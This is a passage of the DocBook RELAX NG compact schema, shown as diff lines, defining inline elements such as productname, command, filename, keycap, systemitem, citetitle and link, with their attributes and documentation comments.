+ ## A name of a service + "service" + | + ## A name which is trademarked + "trade" + db.productname.class.attribute = + + ## Specifies the class of product name + attribute class { db.productname.class.enumeration } + db.productname.attlist = + db.productname.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.productname.class.attribute? + db.productname = + + ## The formal name of a product + element productname { db.productname.attlist, db._text } +} +div { + db.productnumber.role.attribute = attribute role { text } + db.productnumber.attlist = + db.productnumber.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.productnumber = + + ## A number assigned to a product + element productnumber { db.productnumber.attlist, db._text } +} +div { + db.pubdate.role.attribute = attribute role { text } + db.pubdate.attlist = + db.pubdate.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.pubdate = + + ## The date of publication of a document + element pubdate { db.pubdate.attlist, db.date.contentmodel } +} +div { + db.publisher.role.attribute = attribute role { text } + db.publisher.attlist = + db.publisher.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.publisher = + + ## The publisher of a document + element publisher { + db.publisher.attlist, db.publishername, db.address* + } +} +div { + db.publishername.role.attribute = attribute role { text } + db.publishername.attlist = + db.publishername.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.publishername = + + ## The name of the publisher of a document + element publishername { db.publishername.attlist, db._text } +} +div { + db.releaseinfo.role.attribute = attribute role { text } + db.releaseinfo.attlist = + db.releaseinfo.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.releaseinfo = + + ## Information about a particular release of a document + element releaseinfo { db.releaseinfo.attlist, db._text } +} +div { + db.revhistory.role.attribute = attribute role { text } + db.revhistory.attlist = + db.revhistory.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.revhistory.info = db._info.title.only + db.revhistory = + + ## A history of the revisions to a document + element revhistory { + db.revhistory.attlist, db.revhistory.info, db.revision+ + } +} +div { + db.revision.role.attribute = attribute role { text } + db.revision.attlist = + db.revision.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.revision = + + ## An entry describing a single revision in the history of the revisions to a document + element revision { + db.revision.attlist, + db.revnumber?, + db.date, + (db.authorinitials | db.author)*, + (db.revremark | db.revdescription)? + } +} +div { + db.revnumber.role.attribute = attribute role { text } + db.revnumber.attlist = + db.revnumber.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.revnumber = + + ## A document revision number + element revnumber { db.revnumber.attlist, db._text } +} +div { + db.revremark.role.attribute = attribute role { text } + db.revremark.attlist = + db.revremark.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.revremark = + + ## A description of a revision to a document + element revremark { db.revremark.attlist, db._text } +} +div { + db.revdescription.role.attribute = attribute role { text } + db.revdescription.attlist = + db.revdescription.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.revdescription = + + ## A extended description of a revision to a document + element revdescription { db.revdescription.attlist, db.all.blocks* } +} +div { + db.seriesvolnums.role.attribute = attribute role { text } + db.seriesvolnums.attlist = + db.seriesvolnums.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.seriesvolnums = + + ## Numbers of the volumes in a series of books + element seriesvolnums { db.seriesvolnums.attlist, db._text } +} +div { + db.volumenum.role.attribute = attribute role { text } + db.volumenum.attlist = + db.volumenum.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.volumenum = + + ## The volume number of a document in a set (as of books in a set or articles in a journal) + element volumenum { db.volumenum.attlist, db._text } +} +div { + db.issuenum.role.attribute = attribute role { text } + db.issuenum.attlist = + db.issuenum.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.issuenum = + + ## The number of an issue of a journal + element issuenum { db.issuenum.attlist, db._text } +} +div { + db.accel.role.attribute = attribute role { text } + db.accel.attlist = + db.accel.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.accel = + + ## A graphical user interface (GUI) keyboard shortcut + element accel { db.accel.attlist, db._text } +} +div { + db.application.class.enumeration = + + ## A hardware application + "hardware" + | + ## A software application + "software" + db.application.class.attribute = + + ## Identifies the class of application + attribute class { db.application.class.enumeration } + db.application.role.attribute = attribute role { text } + db.application.attlist = + db.application.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.application.class.attribute? + db.application = + + ## The name of a software program + element application { db.application.attlist, db._text } +} +div { + db.package.role.attribute = attribute role { text } + db.package.attlist = + db.package.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.package = + + ## A software or application package + element package { db.package.attlist, db._text } +} +div { + db.classname.role.attribute = attribute role { text } + db.classname.attlist = + db.classname.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.classname = + + ## The name of a class, in the object-oriented programming sense + element classname { db.classname.attlist, db._text } +} +div { + db.command.role.attribute = attribute role { text } + db.command.attlist = + db.command.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.command = + + ## The name of an executable program or other software command + element command { db.command.attlist, db._text } +} +db.computeroutput.inlines = + (text + | db.ubiq.inlines + | db.os.inlines + | db.technical.inlines + | db.markup.inlines) + | db.co + | db.co +div { + db.computeroutput.role.attribute = attribute role { text } + db.computeroutput.attlist = + db.computeroutput.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.computeroutput = + + ## Data, generally text, displayed or presented by a computer + element computeroutput { + db.computeroutput.attlist, db.computeroutput.inlines* + } +} +div { + db.database.class.enumeration = + + ## An alternate or secondary key + "altkey" + | + ## A constraint + "constraint" + | + ## A data type + "datatype" + | + ## A field + "field" + | + ## A foreign key + "foreignkey" + | + ## A group + "group" + | + ## An index + "index" + | + ## The first or primary key + "key1" + | + ## An alternate or secondary key + "key2" + | + ## A name + "name" + | + ## The primary key + "primarykey" + | + ## A (stored) procedure + "procedure" + | + ## A record + "record" + | + ## A rule + "rule" + | + ## The secondary key + "secondarykey" + | + ## A table + "table" + | + ## A user + "user" + | + ## A view + "view" + db.database.class.attribute = + + ## Identifies the class of database artifact + attribute class { db.database.class.enumeration } + db.database.role.attribute = attribute role { text } + db.database.attlist = + db.database.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.database.class.attribute? + db.database = + + ## The name of a database, or part of a database + element database { db.database.attlist, db._text } +} +div { + db.email.role.attribute = attribute role { text } + db.email.attlist = + db.email.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.email = + + ## An email address + element email { db.email.attlist, db._text } +} +div { + db.envar.role.attribute = attribute role { text } + db.envar.attlist = + db.envar.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.envar = + + ## A software environment variable + element envar { db.envar.attlist, db._text } +} +div { + db.errorcode.role.attribute = attribute role { text } + db.errorcode.attlist = + db.errorcode.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.errorcode = + + ## An error code + element errorcode { db.errorcode.attlist, db._text } +} +div { + db.errorname.role.attribute = attribute role { text } + db.errorname.attlist = + db.errorname.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.errorname = + + ## An error name + element errorname { db.errorname.attlist, db._text } +} +div { + db.errortext.role.attribute = attribute role { text } + db.errortext.attlist = + db.errortext.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.errortext = + + ## An error message. + element errortext { db.errortext.attlist, db._text } +} +div { + db.errortype.role.attribute = attribute role { text } + db.errortype.attlist = + db.errortype.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.errortype = + + ## The classification of an error message + element errortype { db.errortype.attlist, db._text } +} +div { + db.filename.class.enumeration = + + ## A device + "devicefile" + | + ## A directory + "directory" + | + ## A filename extension + "extension" + | + ## A header file (as for a programming language) + "headerfile" + | + ## A library file + "libraryfile" + | + ## A partition (as of a hard disk) + "partition" + | + ## A symbolic link + "symlink" + db.filename.class.attribute = + + ## Identifies the class of filename + attribute class { db.filename.class.enumeration } + db.filename.path.attribute = + + ## Specifies the path of the filename + attribute path { text } + db.filename.role.attribute = attribute role { text } + db.filename.attlist = + db.filename.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.filename.path.attribute? + & db.filename.class.attribute? + db.filename = + + ## The name of a file + element filename { db.filename.attlist, db._text } +} +div { + db.function.role.attribute = attribute role { text } + db.function.attlist = + db.function.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.function = + + ## The name of a function or subroutine, as in a programming language + element function { db.function.attlist, db._text } +} +div { + db.guibutton.role.attribute = attribute role { text } + db.guibutton.attlist = + db.guibutton.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.guibutton = + + ## The text on a button in a GUI + element guibutton { + db.guibutton.attlist, + (db._text | db.accel | db.superscript | db.subscript)* + } +} +div { + db.guiicon.role.attribute = attribute role { text } + db.guiicon.attlist = + db.guiicon.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.guiicon = + + ## Graphic and/or text appearing as a icon in a GUI + element guiicon { + db.guiicon.attlist, + (db._text | db.accel | db.superscript | db.subscript)* + } +} +div { + db.guilabel.role.attribute = attribute role { text } + db.guilabel.attlist = + db.guilabel.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.guilabel = + + ## The text of a label in a GUI + element guilabel { + db.guilabel.attlist, + (db._text | db.accel | db.superscript | db.subscript)* + } +} +div { + db.guimenu.role.attribute = attribute role { text } + db.guimenu.attlist = + db.guimenu.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.guimenu = + + ## The name of a menu in a GUI + element guimenu { + db.guimenu.attlist, + (db._text | db.accel | db.superscript | db.subscript)* + } +} +div { + db.guimenuitem.role.attribute = attribute role { text } + db.guimenuitem.attlist = + db.guimenuitem.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.guimenuitem = + + ## The name of a terminal menu item in a GUI + element guimenuitem { + db.guimenuitem.attlist, + (db._text | db.accel | db.superscript | db.subscript)* + } +} +div { + db.guisubmenu.role.attribute = attribute role { text } + db.guisubmenu.attlist = + db.guisubmenu.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.guisubmenu = + + ## The name of a submenu in a GUI + element guisubmenu { + db.guisubmenu.attlist, + (db._text | db.accel | db.superscript | db.subscript)* + } +} +div { + db.hardware.role.attribute = attribute role { text } + db.hardware.attlist = + db.hardware.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.hardware = + + ## A physical part of a computer system + element hardware { db.hardware.attlist, db._text } +} +div { + db.keycap.function.enumeration = + + ## The "Alt" key + "alt" + | + ## The "Backspace" key + "backspace" + | + ## The "Command" key + "command" + | + ## The "Control" key + "control" + | + ## The "Delete" key + "delete" + | + ## The down arrow + "down" + | + ## The "End" key + "end" + | + ## The "Enter" or "Return" key + "enter" + | + ## The "Escape" key + "escape" + | + ## The "Home" key + "home" + | + ## The "Insert" key + "insert" + | + ## The left arrow + "left" + | + ## The "Meta" key + "meta" + | + ## The "Option" key + "option" + | + ## The page down key + "pagedown" + | + ## The page up key + "pageup" + | + ## The right arrow + "right" + | + ## The "Shift" key + "shift" + | + ## The spacebar + "space" + | + ## The "Tab" key + "tab" + | + ## The up arrow + "up" + db.keycap.function-enum.attribute = + + ## Identifies the function key + attribute function { db.keycap.function.enumeration }? + db.keycap.function-other.attributes = + + ## Identifies the function key + attribute function { + + ## Indicates a non-standard function key + "other" + }?, + + ## Specifies a keyword that identifies the non-standard key + attribute otherfunction { text } + db.keycap.function.attrib = + db.keycap.function-enum.attribute + | db.keycap.function-other.attributes + db.keycap.role.attribute = attribute role { text } + db.keycap.attlist = + db.keycap.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.keycap.function.attrib + db.keycap = + + ## The text printed on a key on a keyboard + element keycap { db.keycap.attlist, db._text } +} +div { + db.keycode.role.attribute = attribute role { text } + db.keycode.attlist = + db.keycode.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.keycode = + + ## The internal, frequently numeric, identifier for a key on a keyboard + element keycode { db.keycode.attlist, db._text } +} +div { + db.keycombo.action.enumeration = + + ## A (single) mouse click. + "click" + | + ## A double mouse click. + "double-click" + | + ## A mouse or key press. + "press" + | + ## Sequential clicks or presses. + "seq" + | + ## Simultaneous clicks or presses. + "simul" + db.keycombo.action-enum.attribute = + + ## Identifies the nature of the action taken. If keycombo + ## contains more than one element, simul + ## is the default, otherwise there is no default. + attribute action { db.keycombo.action.enumeration }? + db.keycombo.action-other.attributes = + + ## Identifies the nature of the action taken + attribute action { + + ## Indicates a non-standard action + "other" + }?, + + ## Identifies the non-standard action in some unspecified way. + attribute otheraction { text } + db.keycombo.action.attrib = + db.keycombo.action-enum.attribute + | db.keycombo.action-other.attributes + db.keycombo.role.attribute = attribute role { text } + db.keycombo.attlist = + db.keycombo.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.keycombo.action.attrib + db.keycombo = + + ## A combination of input actions + element keycombo { + db.keycombo.attlist, + (db.keycap | db.keycombo | db.keysym | db.mousebutton)+ + } +} +div { + db.keysym.role.attribute = attribute role { text } + db.keysym.attlist = + db.keysym.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.keysym = + + ## The symbolic name of a key on a keyboard + element keysym { db.keysym.attlist, db._text } +} +div { + db.lineannotation.role.attribute = attribute role { text } + db.lineannotation.attlist = + db.lineannotation.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.lineannotation = + + ## A comment on a line in a verbatim listing + element lineannotation { db.lineannotation.attlist, db._text } +} +div { + db.literal.role.attribute = attribute role { text } + db.literal.attlist = + db.literal.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.literal = + + ## Inline text that is some literal value + element literal { db.literal.attlist, db._text } +} +div { + code.language.attribute = + + ## Identifies the (computer) language of the code fragment + attribute language { text } + db.code.role.attribute = attribute role { text } + db.code.attlist = + db.code.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & code.language.attribute? + db.code = + + ## An inline code fragment + element code { db.code.attlist, db._text } +} +div { + db.constant.class.attribute = + + ## Identifies the class of constant + attribute class { + + ## The value is a limit of some kind + "limit" + } + db.constant.role.attribute = attribute role { text } + db.constant.attlist = + db.constant.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.constant.class.attribute? + db.constant = + + ## A programming or system constant + element constant { db.constant.attlist, db._text } +} +div { + db.varname.role.attribute = attribute role { text } + db.varname.attlist = + db.varname.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.varname = + + ## The name of a variable + element varname { db.varname.attlist, db._text } +} +div { + db.markup.role.attribute = attribute role { text } + db.markup.attlist = + db.markup.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.markup = + + ## A string of formatting markup in text that is to be represented literally + element markup { db.markup.attlist, db._text } +} +div { + db.menuchoice.role.attribute = attribute role { text } + db.menuchoice.attlist = + db.menuchoice.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.menuchoice = + + ## A selection or series of selections from a menu + element menuchoice { + db.menuchoice.attlist, + db.shortcut?, + (db.guibutton + | db.guiicon + | db.guilabel + | db.guimenu + | db.guimenuitem + | db.guisubmenu)+ + } +} +div { + db.shortcut.action.attrib = db.keycombo.action.attrib + db.shortcut.role.attribute = attribute role { text } + db.shortcut.attlist = + db.shortcut.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.shortcut.action.attrib + db.shortcut = + + ## A key combination for an action that is also accessible through a menu + element shortcut { + db.shortcut.attlist, + (db.keycap | db.keycombo | db.keysym | db.mousebutton)+ + } +} +div { + db.mousebutton.role.attribute = attribute role { text } + db.mousebutton.attlist = + db.mousebutton.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.mousebutton = + + ## The conventional name of a mouse button + element mousebutton { db.mousebutton.attlist, db._text } +} +div { + db.option.role.attribute = attribute role { text } + db.option.attlist = + db.option.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.option = + + ## An option for a software command + element option { db.option.attlist, db._text } +} +div { + db.optional.role.attribute = attribute role { text } + db.optional.attlist = + db.optional.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.optional = + + ## Optional information + element optional { db.optional.attlist, db._text } +} +div { + db.property.role.attribute = attribute role { text } + db.property.attlist = + db.property.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.property = + + ## A unit of data associated with some part of a computer system + element property { db.property.attlist, db._text } +} +div { + db.parameter.class.enumeration = + + ## A command + "command" + | + ## A function + "function" + | + ## An option + "option" + db.parameter.class.attribute = + + ## Identifies the class of parameter + attribute class { db.parameter.class.enumeration } + db.parameter.role.attribute = attribute role { text } + db.parameter.attlist = + db.parameter.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.parameter.class.attribute? + db.parameter = + + ## A value or a symbolic reference to a value + element parameter { db.parameter.attlist, db._text } +} +db.prompt.inlines = db._text | db.co +div { + db.prompt.role.attribute = attribute role { text } + db.prompt.attlist = + db.prompt.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.prompt = + + ## A character or string indicating the start of an input field in a computer display + element prompt { db.prompt.attlist, db.prompt.inlines* } +} +db.replaceable.inlines = db._text | db.co +div { + db.replaceable.class.enumeration = + + ## A command + "command" + | + ## A function + "function" + | + ## An option + "option" + | + ## A parameter + "parameter" + db.replaceable.class.attribute = + + ## Identifies the nature of the replaceable text + attribute class { db.replaceable.class.enumeration } + db.replaceable.role.attribute = attribute role { text } + db.replaceable.attlist = + db.replaceable.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.replaceable.class.attribute? + db.replaceable = + + ## Content that may or must be replaced by the user + element replaceable { + db.replaceable.attlist, db.replaceable.inlines* + } +} +div { + db.returnvalue.role.attribute = attribute role { text } + db.returnvalue.attlist = + db.returnvalue.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.returnvalue = + + ## The value returned by a function + element returnvalue { db.returnvalue.attlist, db._text } +} +div { + db.tag.role.attribute = attribute role { text } + db.tag.class.enumeration = + + ## An attribute + "attribute" + | + ## An attribute value + "attvalue" + | + ## An element + "element" + | + ## An empty element tag + "emptytag" + | + ## An end tag + "endtag" + | + ## A general entity + "genentity" + | + ## A numeric character reference + "numcharref" + | + ## A parameter entity + "paramentity" + | + ## A processing instruction + "pi" + | + ## An SGML comment + "comment" + | + ## A start tag + "starttag" + | + ## An XML processing instruction + "xmlpi" + db.tag.class.attribute = + + ## Identifies the nature of the tag content + attribute class { db.tag.class.enumeration } + db.tag.namespace.attribute = + + ## Identifies the namespace of the tag content + attribute namespace { xsd:anyURI } + db.tag.attlist = + db.tag.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.tag.class.attribute? + & db.tag.namespace.attribute? + db.tag = + + ## A component of XML (or SGML) markup + element tag { db.tag.attlist, db._text } +} +div { + db.symbol.class.attribute = + + ## Identifies the class of symbol + attribute class { + + ## The value is a limit of some kind + "limit" + } + db.symbol.role.attribute = attribute role { text } + db.symbol.attlist = + db.symbol.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.symbol.class.attribute? + db.symbol = + + ## A name that is replaced by a value before processing + element symbol { db.symbol.attlist, db._text } +} +db.systemitem.inlines = db._text | db.co +div { + db.systemitem.class.enumeration = + + ## A daemon or other system process (syslogd) + "daemon" + | + ## A domain name (example.com) + "domainname" + | + ## An ethernet address (00:05:4E:49:FD:8E) + "etheraddress" + | + ## An event of some sort (SIGHUP) + "event" + | + ## An event handler of some sort (hangup) + "eventhandler" + | + ## A filesystem (ext3) + "filesystem" + | + ## A fully qualified domain name (my.example.com) + "fqdomainname" + | + ## A group name (wheel) + "groupname" + | + ## An IP address (127.0.0.1) + "ipaddress" + | + ## A library (libncurses) + "library" + | + ## A macro + "macro" + | + ## A netmask (255.255.255.192) + "netmask" + | + ## A newsgroup (comp.text.xml) + "newsgroup" + | + ## An operating system name (Hurd) + "osname" + | + ## A process (gnome-cups-icon) + "process" + | + ## A protocol (ftp) + "protocol" + | + ## A resource + "resource" + | + ## A server (mail.example.com) + "server" + | + ## A service (ppp) + "service" + | + ## A system name (hephaistos) + "systemname" + | + ## A user name (ndw) + "username" + db.systemitem.class.attribute = + + ## Identifies the nature of the system item + attribute class { db.systemitem.class.enumeration } + db.systemitem.role.attribute = attribute role { text } + db.systemitem.attlist = + db.systemitem.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.systemitem.class.attribute? + db.systemitem = + + ## A system-related item or term + element systemitem { db.systemitem.attlist, db.systemitem.inlines* } +} +div { + db.uri.type.attribute = + + ## Identifies the type of URI specified + attribute type { text }? + db.uri.role.attribute = attribute role { text } + db.uri.attlist = + db.uri.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.uri.type.attribute + db.uri = + + ## A Uniform Resource Identifier + element uri { db.uri.attlist, db._text } +} +div { + db.token.role.attribute = attribute role { text } + db.token.attlist = + db.token.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.token = + + ## A unit of information + element token { db.token.attlist, db._text } +} +div { + db.type.role.attribute = attribute role { text } + db.type.attlist = + db.type.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.type = + + ## The classification of a value + element type { db.type.attlist, db._text } +} +db.userinput.inlines = + (text + | db.ubiq.inlines + | db.os.inlines + | db.technical.inlines + | db.markup.inlines) + | db.co +div { + db.userinput.role.attribute = attribute role { text } + db.userinput.attlist = + db.userinput.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.userinput = + + ## Data entered by the user + element userinput { db.userinput.attlist, db.userinput.inlines* } +} +div { + db.abbrev.role.attribute = attribute role { text } + db.abbrev.attlist = + db.abbrev.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.abbrev = + + ## An abbreviation, especially one followed by a period + element abbrev { + db.abbrev.attlist, + (db._text | db.superscript | db.subscript | db.trademark)* + } +} +div { + db.acronym.role.attribute = attribute role { text } + db.acronym.attlist = + db.acronym.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.acronym = + + ## An often pronounceable word made from the initial (or selected) letters of a name or phrase + element acronym { + db.acronym.attlist, + (db._text | db.superscript | db.subscript | db.trademark)* + } +} +div { + db.citation.role.attribute = attribute role { text } + db.citation.attlist = + db.citation.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.citation = + + ## An inline bibliographic reference to another published work + element citation { db.citation.attlist, db.all.inlines* } +} +div { + db.citerefentry.role.attribute = attribute role { text } + db.citerefentry.attlist = + db.citerefentry.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.citerefentry = + + ## A citation to a reference page + element citerefentry { + db.citerefentry.attlist, db.refentrytitle, db.manvolnum? + } +} +div { + db.refentrytitle.role.attribute = attribute role { text } + db.refentrytitle.attlist = + db.refentrytitle.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.refentrytitle = + + ## The title of a reference page + element refentrytitle { db.refentrytitle.attlist, db.all.inlines* } +} +div { + db.manvolnum.role.attribute = attribute role { text } + db.manvolnum.attlist = + db.manvolnum.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.manvolnum = + + ## A reference volume number + element manvolnum { db.manvolnum.attlist, db._text } +} +div { + db.citetitle.pubwork.enumeration = + + ## An article + "article" + | + ## A bulletin board system + "bbs" + | + ## A book + "book" + | + ## A CD-ROM + "cdrom" + | + ## A chapter (as of a book) + "chapter" + | + ## A DVD + "dvd" + | + ## An email message + "emailmessage" + | + ## A gopher page + "gopher" + | + ## A journal + "journal" + | + ## A manuscript + "manuscript" + | + ## A posting to a newsgroup + "newsposting" + | + ## A part (as of a book) + "part" + | + ## A reference entry + "refentry" + | + ## A section (as of a book or article) + "section" + | + ## A series + "series" + | + ## A set (as of books) + "set" + | + ## A web page + "webpage" + | + ## A wiki page + "wiki" + db.citetitle.pubwork.attribute = + + ## Identifies the nature of the publication being cited + attribute pubwork { db.citetitle.pubwork.enumeration } + db.citetitle.role.attribute = attribute role { text } + db.citetitle.attlist = + db.citetitle.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.citetitle.pubwork.attribute? + db.citetitle = + + ## The title of a cited work + element citetitle { db.citetitle.attlist, db.all.inlines* } +} +div { + db.emphasis.role.attribute = attribute role { text } + db.emphasis.attlist = + db.emphasis.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.emphasis = + + ## Emphasized text + element emphasis { db.emphasis.attlist, db.all.inlines* } +} +div { + db._emphasis = + + ## A limited span of emphasized text + element emphasis { db.emphasis.attlist, (db._text | db._emphasis)* } +} +div { + db.foreignphrase.role.attribute = attribute role { text } + db.foreignphrase.attlist = + db.foreignphrase.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.foreignphrase = + + ## A word or phrase in a language other than the primary language of the document + element foreignphrase { + db.foreignphrase.attlist, (text | db.general.inlines)* + } +} +div { + db.phrase.role.attribute = attribute role { text } + db.phrase.attlist = + db.phrase.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.phrase = + + ## A span of text + element phrase { db.phrase.attlist, db.all.inlines* } +} +div { + db._phrase = + + ## A limited span of text + element phrase { db.phrase.attlist, db._text } +} +div { + db.quote.role.attribute = attribute role { text } + db.quote.attlist = + db.quote.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.quote = + + ## An inline quotation + element quote { db.quote.attlist, db.all.inlines* } +} +div { + db.subscript.role.attribute = attribute role { text } + db.subscript.attlist = + db.subscript.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.subscript = + + ## A subscript (as in H2 + ## O, the molecular formula for water) + element subscript { db.subscript.attlist, db._text } +} +div { + db.superscript.role.attribute = attribute role { text } + db.superscript.attlist = + db.superscript.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.superscript = + + ## A superscript (as in x^2, the mathematical notation for x multiplied by itself) + element superscript { db.superscript.attlist, db._text } +} +div { + db.trademark.class.enumeration = + + ## A copyright + "copyright" + | + ## A registered copyright + "registered" + | + ## A service + "service" + | + ## A trademark + "trade" + db.trademark.class.attribute = + + ## Identifies the class of trade mark + attribute class { db.trademark.class.enumeration } + db.trademark.role.attribute = attribute role { text } + db.trademark.attlist = + db.trademark.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.trademark.class.attribute? + db.trademark = + + ## A trademark + element trademark { db.trademark.attlist, db._text } +} +div { + db.wordasword.role.attribute = attribute role { text } + db.wordasword.attlist = + db.wordasword.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.wordasword = + + ## A word meant specifically as a word and not representing anything else + element wordasword { db.wordasword.attlist, db._text } +} +div { + db.footnoteref.role.attribute = attribute role { text } + db.footnoteref.label.attribute = db.label.attribute + db.footnoteref.attlist = + db.footnoteref.role.attribute? + & db.common.attributes + & db.linkend.attribute + & db.footnoteref.label.attribute? + db.footnoteref = + + ## A cross reference to a footnote (a footnote mark) + [ + s:pattern [ + name = "Footnote reference type constraint" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnoteref" + "\x{a}" ~ + " " + s:assert [ + test = + "local-name(//*[@id=current()/@linkend]) = 'footnote' and namespace-uri(//*[@id=current()/@linkend]) = 'http://docbook.org/ns/docbook'" + "@linkend on footnoteref must point to a footnote." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element footnoteref { db.footnoteref.attlist, empty } +} +div { + db.xref.role.attribute = attribute role { text } + db.xref.xrefstyle.attribute = db.xrefstyle.attribute + db.xref.endterm.attribute = db.endterm.attribute + db.xref.attlist = + db.xref.role.attribute? + & db.common.attributes + & db.common.req.linking.attributes + & db.xref.xrefstyle.attribute? + & db.xref.endterm.attribute? + db.xref = + + ## A cross reference to another part of the document + element xref { db.xref.attlist, empty } +} +div { + db.link.role.attribute = attribute role { text } + db.link.xrefstyle.attribute = db.xrefstyle.attribute + db.link.endterm.attribute = db.endterm.attribute + db.link.attlist = + db.link.role.attribute? + & db.common.attributes + & db.common.req.linking.attributes + & db.link.xrefstyle.attribute? + & db.link.endterm.attribute? + db.link = + + ## A hypertext link + element link { db.link.attlist, db.all.inlines* } +} +div { + db.olink.role.attribute = attribute role { text } + db.olink.xrefstyle.attribute = db.xrefstyle.attribute + db.olink.localinfo.attribute = + + ## Holds additional information that may be used by the applicatoin when resolving the link + attribute localinfo { text } + db.olink.targetdoc.attribute = + + ## Specifies the URI of the document in which the link target appears + attribute targetdoc { xsd:anyURI } + db.olink.targetptr.attribute = + + ## Specifies the location of the link target in the document + attribute targetptr { text } + db.olink.type.attribute = + + ## Identifies application-specific customization of the link behavior + attribute type { text } + db.olink.attlist = + db.common.attributes + & db.olink.targetdoc.attribute + & db.olink.role.attribute? + & db.olink.xrefstyle.attribute? + & db.olink.localinfo.attribute? + & db.olink.targetptr.attribute? + & db.olink.type.attribute? + db.olink = + + ## A link that addresses its target indirectly + element olink { db.olink.attlist, db.all.inlines* } +} +div { + db.anchor.role.attribute = attribute role { text } + db.anchor.attlist = + db.anchor.role.attribute? & db.common.idreq.attributes + db.anchor = + + ## A spot in the document + element anchor { db.anchor.attlist, empty } +} +div { + db.alt.role.attribute = attribute role { text } + db.alt.attlist = db.alt.role.attribute? & db.common.attributes + db.alt = + + ## A text-only annotation, often used for accessibility + element alt { db.alt.attlist, (text | db.inlinemediaobject)* } +} +db.annotations.attribute = + + ## Identifies one or more annotations that apply to this element + attribute annotations { text } +div { + db.annotation.role.attribute = attribute role { text } + db.annotation.annotates.attribute = + + ## Identifies one ore more elements to which this annotation applies + attribute annotates { text } + db.annotation.attlist = + db.annotation.role.attribute? + & db.annotation.annotates.attribute? + & db.common.attributes + db.annotation.info = db._info.title.only + db.annotation = + + ## An annotation + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:annotation" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:annotation)" + "annotation must not occur in the descendants of annotation" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element annotation { + db.annotation.attlist, db.annotation.info, db.all.blocks+ + } +} +db.xlink.from.attribute = + + ## Specifies the XLink traversal-from + attribute xlink:from { xsd:NMTOKEN }? +db.xlink.label.attribute = + + ## Specifies the XLink label + attribute xlink:label { xsd:NMTOKEN }? +db.xlink.to.attribute = + + ## Specifies the XLink traversal-to + attribute xlink:to { 